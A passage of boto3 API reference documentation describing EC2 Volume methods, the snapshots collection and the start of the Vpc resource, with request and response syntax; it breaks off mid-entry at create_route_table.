DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +describe_attribute(kwargs_) + +Describes the specified attribute of the specified volume. You can specify only one attribute at a time. + +For more information about EBS volumes, see [Amazon EBS volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumes.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumeAttribute) + +**Request Syntax** + +response = volume.describe_attribute( + Attribute='autoEnableIO'|'productCodes', + DryRun=True|False +) + +Parameters + +* **Attribute** (_string_) -- + + **[REQUIRED]** + + The attribute of the volume. This parameter is required. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AutoEnableIO': { + 'Value': True|False + }, + 'ProductCodes': [ + { + 'ProductCodeId': 'string', + 'ProductCodeType': 'devpay'|'marketplace' + }, + ], + 'VolumeId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **AutoEnableIO** _(dict) --_ + + The state of autoEnableIO attribute. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + * **ProductCodes** _(list) --_ + + A list of product codes. + + * _(dict) --_ + + Describes a product code. + + * **ProductCodeId** _(string) --_ + + The product code. + + * **ProductCodeType** _(string) --_ + + The type of product code. + + * **VolumeId** _(string) --_ + + The ID of the volume. + + +describe_status(kwargs_) + +Describes the status of the specified volumes. Volume status provides the result of the checks performed on your volumes to determine events that can impair the performance of your volumes. The performance of a volume can be affected if an issue occurs on the volume's underlying host. If the volume's underlying host experiences a power outage or system issue, after the system is restored, there could be data inconsistencies on the volume. Volume events notify you if this occurs. Volume actions notify you if any action needs to be taken in response to the event. + +The DescribeVolumeStatus operation provides the following information about the specified volumes: + +> _Status_ : Reflects the current status of the volume. The possible values are ok , impaired , warning , or insufficient-data . If all checks pass, the overall status of the volume is ok . If the check fails, the overall status is impaired . If the status is insufficient-data , then the checks might still be taking place on your volume at the time. We recommend that you retry the request. For more information about volume status, see [Monitoring the status of your volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/monitoring-volume-status.html) in the _Amazon Elastic Compute Cloud User Guide_ . +> +> _Events_ : Reflect the cause of a volume status and might require you to take action. For example, if your volume returns an impaired status, then the volume event might be potential-data-inconsistency . This means that your volume has been affected by an issue with the underlying host, has all I/O operations disabled, and might have inconsistent data. +> +> _Actions_ : Reflect the actions you might have to take in response to an event. For example, if the status of the volume is impaired and the volume event shows potential-data-inconsistency , then the action shows enable-volume-io . This means that you may want to enable the I/O operations for the volume by calling the EnableVolumeIO action and then check the volume for data consistency. + +Volume status is based on the volume status checks, and does not reflect the volume state. Therefore, volume status does not indicate volumes in the error state (for example, when a volume is incapable of accepting I/O.) + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumeStatus) + +**Request Syntax** + +response = volume.describe_status( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) + +Parameters + +* **Filters** (_list_) -- + + The filters. + + * action.code - The action code for the event (for example, enable-volume-io ). + * action.description - A description of the action. + * action.event-id - The event ID associated with the action. + * availability-zone - The Availability Zone of the instance. + * event.description - A description of the event. + * event.event-id - The event ID. + * event.event-type - The event type (for io-enabled : passed | failed ; for io-performance : io-performance:degraded | io-performance:severely-degraded | io-performance:stalled ). + * event.not-after - The latest end time for the event. + * event.not-before - The earliest start time for the event. + * volume-status.details-name - The cause for volume-status.status (io-enabled | io-performance ). + * volume-status.details-status - The status of volume-status.details-name (for io-enabled : passed | failed ; for io-performance : normal | degraded | severely-degraded | stalled ). + * volume-status.status - The status of the volume (ok | impaired | warning | insufficient-data ). + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of volume results returned by DescribeVolumeStatus in paginated output. When this parameter is used, the request only returns MaxResults results in a single page along with a NextToken response element. The remaining results of the initial request can be seen by sending another request with the returned NextToken value. This value can be between 5 and 1,000; if MaxResults is given a value larger than 1,000, only 1,000 results are returned. If this parameter is not used, then DescribeVolumeStatus returns all results. You cannot specify this parameter and the volume IDs parameter in the same request. +* **NextToken** (_string_) -- The NextToken value to include in a future DescribeVolumeStatus request. When the results of the request exceed MaxResults , this value can be used to retrieve the next page of results. This value is null when there are no more results to return. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NextToken': 'string', + 'VolumeStatuses': [ + { + 'Actions': [ + { + 'Code': 'string', + 'Description': 'string', + 'EventId': 'string', + 'EventType': 'string' + }, + ], + 'AvailabilityZone': 'string', + 'OutpostArn': 'string', + 'Events': [ + { + 'Description': 'string', + 'EventId': 'string', + 'EventType': 'string', + 'NotAfter': datetime(2015, 1, 1), + 'NotBefore': datetime(2015, 1, 1), + 'InstanceId': 'string' + }, + ], + 'VolumeId': 'string', + 'VolumeStatus': { + 'Details': [ + { + 'Name': 'io-enabled'|'io-performance', + 'Status': 'string' + }, + ], + 'Status': 'ok'|'impaired'|'insufficient-data' + }, + 'AttachmentStatuses': [ + { + 'IoPerformance': 'string', + 'InstanceId': 'string' + }, + ] + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + * **VolumeStatuses** _(list) --_ + + Information about the status of the volumes. + + * _(dict) --_ + + Describes the volume status. + + * **Actions** _(list) --_ + + The details of the operation. + + * _(dict) --_ + + Describes a volume status operation code. + + * **Code** _(string) --_ + + The code identifying the operation, for example, enable-volume-io . + + * **Description** _(string) --_ + + A description of the operation. + + * **EventId** _(string) --_ + + The ID of the event associated with this operation. + + * **EventType** _(string) --_ + + The event type associated with this operation. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone of the volume. + + * **OutpostArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + * **Events** _(list) --_ + + A list of events associated with the volume. + + * _(dict) --_ + + Describes a volume status event. + + * **Description** _(string) --_ + + A description of the event. + + * **EventId** _(string) --_ + + The ID of this event. + + * **EventType** _(string) --_ + + The type of this event. + + * **NotAfter** _(datetime) --_ + + The latest end time of the event. + + * **NotBefore** _(datetime) --_ + + The earliest start time of the event. + + * **InstanceId** _(string) --_ + + The ID of the instance associated with the event. + + * **VolumeId** _(string) --_ + + The volume ID. + + * **VolumeStatus** _(dict) --_ + + The volume status. + + * **Details** _(list) --_ + + The details of the volume status. + + * _(dict) --_ + + Describes a volume status. + + * **Name** _(string) --_ + + The name of the volume status. + + * **Status** _(string) --_ + + The intended status of the volume status. + + * **Status** _(string) --_ + + The status of the volume. + + * **AttachmentStatuses** _(list) --_ + + Information about the instances to which the volume is attached. + + * _(dict) --_ + + Information about the instances to which the volume is attached. + + * **IoPerformance** _(string) --_ + + The maximum IOPS supported by the attached instance. + + * **InstanceId** _(string) --_ + + The ID of the attached instance. + + +detach_from_instance(kwargs_) + +Detaches an EBS volume from an instance. Make sure to unmount any file systems on the device within your operating system before detaching the volume. Failure to do so can result in the volume becoming stuck in the busy state while detaching. If this happens, detachment can be delayed indefinitely until you unmount the volume, force detachment, reboot the instance, or all three. If an EBS volume is the root device of an instance, it can't be detached while the instance is running. To detach the root volume, stop the instance first. + +When a volume with an AWS Marketplace product code is detached from an instance, the product code is no longer associated with the instance. + +For more information, see [Detaching an Amazon EBS volume](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-detaching-volume.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachVolume) + +**Request Syntax** + +response = volume.detach_from_instance( + Device='string', + Force=True|False, + InstanceId='string', + DryRun=True|False +) + +Parameters + +* **Device** (_string_) -- The device name. +* **Force** (_boolean_) -- Forces detachment if the previous detachment attempt did not occur cleanly (for example, logging into an instance, unmounting the volume, and detaching normally). This option can lead to data loss or a corrupted file system. Use this option only as a last resort to detach a volume from a failed instance. The instance won't have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. +* **InstanceId** (_string_) -- The ID of the instance. If you are detaching a Multi-Attach enabled volume, you must specify an instance ID. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AttachTime': datetime(2015, 1, 1), + 'Device': 'string', + 'InstanceId': 'string', + 'State': 'attaching'|'attached'|'detaching'|'detached'|'busy', + 'VolumeId': 'string', + 'DeleteOnTermination': True|False +} + +**Response Structure** + +* _(dict) --_ + + Describes volume attachment details. + + * **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + * **Device** _(string) --_ + + The device name. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **State** _(string) --_ + + The attachment state of the volume. + + * **VolumeId** _(string) --_ + + The ID of the volume. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. + + +enable_io(kwargs_) + +Enables I/O operations for a volume that had I/O operations disabled because the data on the volume was potentially inconsistent. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/EnableVolumeIO) + +**Request Syntax** + +response = volume.enable_io( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_volumes()](#EC2.Client.describe_volumes "EC2.Client.describe_volumes") to update the attributes of the Volume resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +volume.load() + +Returns + +None + +modify_attribute(kwargs_) + +Modifies a volume attribute. + +By default, all I/O operations for the volume are suspended when the data on the volume is determined to be potentially inconsistent, to prevent undetectable, latent data corruption. The I/O access to the volume can be resumed by first enabling I/O access and then checking the data consistency on your volume. + +You can change the default behavior to resume I/O operations. We recommend that you change this only for boot volumes or for volumes that are stateless or disposable. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyVolumeAttribute) + +**Request Syntax** + +response = volume.modify_attribute( + AutoEnableIO={ + 'Value': True|False + }, + DryRun=True|False +) + +Parameters + +* **AutoEnableIO** (_dict_) -- + + Indicates whether the volume should be auto-enabled for I/O operations. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +reload() + +Calls [EC2.Client.describe_volumes()](#EC2.Client.describe_volumes "EC2.Client.describe_volumes") to update the attributes of the Volume resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +volume.reload() + +Returns + +None + +Collections + +Collections provide an interface to iterate over and manipulate groups of resources. For more information about collections refer to the [_Resources Introduction Guide_](../../guide/collections.html#guide-collections). + +snapshots + +A collection of Snapshot resources.A Snapshot Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Snapshot resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +snapshot_iterator = volume.snapshots.all() + +Return type + +list(ec2.Snapshot) + +Returns + +A list of Snapshot resources + +filter(kwargs_) + +Creates an iterable of all Snapshot resources in the collection filtered by kwargs passed to method.A Snapshot collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +snapshot_iterator = volume.snapshots.filter( + MaxResults=123, + NextToken='string', + OwnerIds=[ + 'string', + ], + RestorableByUserIds=[ + 'string', + ], + SnapshotIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **MaxResults** (_integer_) -- The maximum number of snapshot results returned by DescribeSnapshots in paginated output. When this parameter is used, DescribeSnapshots only returns MaxResults results in a single page along with a NextToken response element. The remaining results of the initial request can be seen by sending another DescribeSnapshots request with the returned NextToken value. This value can be between 5 and 1,000; if MaxResults is given a value larger than 1,000, only 1,000 results are returned. If this parameter is not used, then DescribeSnapshots returns all results. You cannot specify this parameter and the snapshot IDs parameter in the same request. +* **NextToken** (_string_) -- The NextToken value returned from a previous paginated DescribeSnapshots request where MaxResults was used and the results exceeded the value of that parameter. Pagination continues from the end of the previous results that returned the NextToken value. This value is null when there are no more results to return. +* **OwnerIds** (_list_) -- + + Scopes the results to snapshots with the specified owners. You can specify a combination of AWS account IDs, self , and amazon . + + * _(string) --_ +* **RestorableByUserIds** (_list_) -- + + The IDs of the AWS accounts that can create volumes from the snapshot. + + * _(string) --_ +* **SnapshotIds** (_list_) -- + + The snapshot IDs. + + Default: Describes the snapshots for which you have create volume permissions. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +list(ec2.Snapshot) + +Returns + +A list of Snapshot resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Snapshot resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +snapshot_iterator = volume.snapshots.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Snapshot) + +Returns + +A list of Snapshot resources + +page_size(kwargs_) + +Creates an iterable of all Snapshot resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +snapshot_iterator = volume.snapshots.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Snapshot) + +Returns + +A list of Snapshot resources + +[Vpc](#id1256) +---------------------------------------------------- + +_class_ EC2.Vpc(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Vpc: + +import boto3 + +ec2 = boto3.resource('ec2') +vpc = ec2.Vpc('id') + +Parameters + +**id** (_string_) -- The Vpc's id identifier. This **must** be set. + +These are the resource's available identifiers: + +* [id](#EC2.Vpc.id "EC2.Vpc.id") + +These are the resource's available attributes: + +* [cidr_block](#EC2.Vpc.cidr_block "EC2.Vpc.cidr_block") +* [cidr_block_association_set](#EC2.Vpc.cidr_block_association_set "EC2.Vpc.cidr_block_association_set") +* [dhcp_options_id](#EC2.Vpc.dhcp_options_id "EC2.Vpc.dhcp_options_id") +* [instance_tenancy](#EC2.Vpc.instance_tenancy "EC2.Vpc.instance_tenancy") +* [ipv6_cidr_block_association_set](#EC2.Vpc.ipv6_cidr_block_association_set "EC2.Vpc.ipv6_cidr_block_association_set") +* [is_default](#EC2.Vpc.is_default "EC2.Vpc.is_default") +* [owner_id](#EC2.Vpc.owner_id "EC2.Vpc.owner_id") +* [state](#EC2.Vpc.state "EC2.Vpc.state") +* [tags](#EC2.Vpc.tags "EC2.Vpc.tags") +* [vpc_id](#EC2.Vpc.vpc_id "EC2.Vpc.vpc_id") + +These are the resource's available references: + +* [dhcp_options](#EC2.Vpc.dhcp_options "EC2.Vpc.dhcp_options") + +These are the resource's available actions: + +* [associate_dhcp_options()](#EC2.Vpc.associate_dhcp_options "EC2.Vpc.associate_dhcp_options") +* [attach_classic_link_instance()](#EC2.Vpc.attach_classic_link_instance "EC2.Vpc.attach_classic_link_instance") +* [attach_internet_gateway()](#EC2.Vpc.attach_internet_gateway "EC2.Vpc.attach_internet_gateway") +* [create_network_acl()](#EC2.Vpc.create_network_acl "EC2.Vpc.create_network_acl") +* [create_route_table()](#EC2.Vpc.create_route_table "EC2.Vpc.create_route_table") +* [create_security_group()](#EC2.Vpc.create_security_group "EC2.Vpc.create_security_group") +* [create_subnet()](#EC2.Vpc.create_subnet "EC2.Vpc.create_subnet") +* [create_tags()](#EC2.Vpc.create_tags "EC2.Vpc.create_tags") +* [delete()](#EC2.Vpc.delete "EC2.Vpc.delete") +* [describe_attribute()](#EC2.Vpc.describe_attribute "EC2.Vpc.describe_attribute") +* [detach_classic_link_instance()](#EC2.Vpc.detach_classic_link_instance "EC2.Vpc.detach_classic_link_instance") +* [detach_internet_gateway()](#EC2.Vpc.detach_internet_gateway "EC2.Vpc.detach_internet_gateway") +* [disable_classic_link()](#EC2.Vpc.disable_classic_link "EC2.Vpc.disable_classic_link") +* [enable_classic_link()](#EC2.Vpc.enable_classic_link "EC2.Vpc.enable_classic_link") +* [get_available_subresources()](#EC2.Vpc.get_available_subresources "EC2.Vpc.get_available_subresources") +* [load()](#EC2.Vpc.load "EC2.Vpc.load") +* [modify_attribute()](#EC2.Vpc.modify_attribute "EC2.Vpc.modify_attribute") +* [reload()](#EC2.Vpc.reload "EC2.Vpc.reload") +* [request_vpc_peering_connection()](#EC2.Vpc.request_vpc_peering_connection "EC2.Vpc.request_vpc_peering_connection") + +These are the resource's available collections: + +* [accepted_vpc_peering_connections](#EC2.Vpc.accepted_vpc_peering_connections "EC2.Vpc.accepted_vpc_peering_connections") +* [instances](#EC2.Vpc.instances "EC2.Vpc.instances") +* [internet_gateways](#EC2.Vpc.internet_gateways "EC2.Vpc.internet_gateways") +* [network_acls](#EC2.Vpc.network_acls "EC2.Vpc.network_acls") +* [network_interfaces](#EC2.Vpc.network_interfaces "EC2.Vpc.network_interfaces") +* [requested_vpc_peering_connections](#EC2.Vpc.requested_vpc_peering_connections "EC2.Vpc.requested_vpc_peering_connections") +* [route_tables](#EC2.Vpc.route_tables "EC2.Vpc.route_tables") +* [security_groups](#EC2.Vpc.security_groups "EC2.Vpc.security_groups") +* [subnets](#EC2.Vpc.subnets "EC2.Vpc.subnets") + +These are the resource's available waiters: + +* [wait_until_available()](#EC2.Vpc.wait_until_available "EC2.Vpc.wait_until_available") +* [wait_until_exists()](#EC2.Vpc.wait_until_exists "EC2.Vpc.wait_until_exists") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The Vpc's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Vpc.load "EC2.Vpc.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +cidr_block + +* _(string) --_ + + The primary IPv4 CIDR block for the VPC. + + +cidr_block_association_set + +* _(list) --_ + + Information about the IPv4 CIDR blocks associated with the VPC. + + * _(dict) --_ + + Describes an IPv4 CIDR block associated with a VPC. + + * **AssociationId** _(string) --_ + + The association ID for the IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + * **State** _(string) --_ + + The state of the CIDR block. + + * **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + +dhcp_options_id + +* _(string) --_ + + The ID of the set of DHCP options you've associated with the VPC. + + +instance_tenancy + +* _(string) --_ + + The allowed tenancy of instances launched into the VPC. + + +ipv6_cidr_block_association_set + +* _(list) --_ + + Information about the IPv6 CIDR blocks associated with the VPC. + + * _(dict) --_ + + Describes an IPv6 CIDR block associated with a VPC. + + * **AssociationId** _(string) --_ + + The association ID for the IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **Ipv6CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + * **State** _(string) --_ + + The state of the CIDR block. + + * **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + * **NetworkBorderGroup** _(string) --_ + + The name of the unique set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses, for example, us-east-1-wl1-bos-wlz-1 . + + * **Ipv6Pool** _(string) --_ + + The ID of the IPv6 address pool from which the IPv6 CIDR block is allocated. + + +is_default + +* _(boolean) --_ + + Indicates whether the VPC is the default VPC. + + +owner_id + +* _(string) --_ + + The ID of the AWS account that owns the VPC. + + +state + +* _(string) --_ + + The current state of the VPC. + + +tags + +* _(list) --_ + + Any tags assigned to the VPC. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_id + +* _(string) --_ + + The ID of the VPC. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +dhcp_options + +(DhcpOptions) The related dhcp_options if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +associate_dhcp_options(kwargs_) + +Associates a set of DHCP options (that you've previously created) with the specified VPC, or associates no DHCP options with the VPC. + +After you associate the options with the VPC, any existing instances and all new instances that you launch in that VPC use the options. You don't need to restart or relaunch the instances. They automatically pick up the changes within a few hours, depending on how frequently the instance renews its DHCP lease. You can explicitly renew the lease using the operating system on the instance. + +For more information, see [DHCP Options Sets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_DHCP_Options.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssociateDhcpOptions) + +**Request Syntax** + +response = vpc.associate_dhcp_options( + DhcpOptionsId='string', + DryRun=True|False +) + +Parameters + +* **DhcpOptionsId** (_string_) -- + + **[REQUIRED]** + + The ID of the DHCP options set, or default to associate no DHCP options with the VPC. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +attach_classic_link_instance(kwargs_) + +Links an EC2-Classic instance to a ClassicLink-enabled VPC through one or more of the VPC's security groups. You cannot link an EC2-Classic instance to more than one VPC at a time. You can only link an instance that's in the running state. An instance is automatically unlinked from a VPC when it's stopped - you can link it to the VPC again when you restart it. + +After you've linked an instance, you cannot change the VPC security groups that are associated with it. To change the security groups, you must first unlink the instance, and then link it again. + +Linking your instance to a VPC is sometimes referred to as _attaching_ your instance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachClassicLinkVpc) + +**Request Syntax** + +response = vpc.attach_classic_link_instance( + DryRun=True|False, + Groups=[ + 'string', + ], + InstanceId='string', + +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Groups** (_list_) -- + + **[REQUIRED]** + + The ID of one or more of the VPC's security groups. You cannot specify security groups from a different VPC. + + * _(string) --_ +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of an EC2-Classic instance to link to the ClassicLink-enabled VPC. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +attach_internet_gateway(kwargs_) + +Attaches an internet gateway or a virtual private gateway to a VPC, enabling connectivity between the internet and the VPC. For more information about your VPC and internet gateway, see the [Amazon Virtual Private Cloud User Guide](https://docs.aws.amazon.com/vpc/latest/userguide/) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachInternetGateway) + +**Request Syntax** + +response = vpc.attach_internet_gateway( + DryRun=True|False, + InternetGatewayId='string', + +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InternetGatewayId** (_string_) -- + + **[REQUIRED]** + + The ID of the internet gateway. + + +Returns + +None + +create_network_acl(kwargs_) + +Creates a network ACL in a VPC. Network ACLs provide an optional layer of security (in addition to security groups) for the instances in your VPC. + +For more information, see [Network ACLs](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_ACLs.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateNetworkAcl) + +**Request Syntax** + +network_acl = vpc.create_network_acl( + DryRun=True|False, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **TagSpecifications** (_list_) -- + + The tags to assign to the network ACL. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1143)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1145)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.NetworkAcl + +Returns + +NetworkAcl resource + +create_route_table(kwargs_) + +Creates a route table for the specified VPC. After you create a route table, you can add routes and associate the table with a subnet. + +For more information, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateRouteTable) + +**Request Syntax** + +route_table = vpc.create_route_table( + DryRun=True|False, + TagSpecifications=[ + { + 'ResourceType': 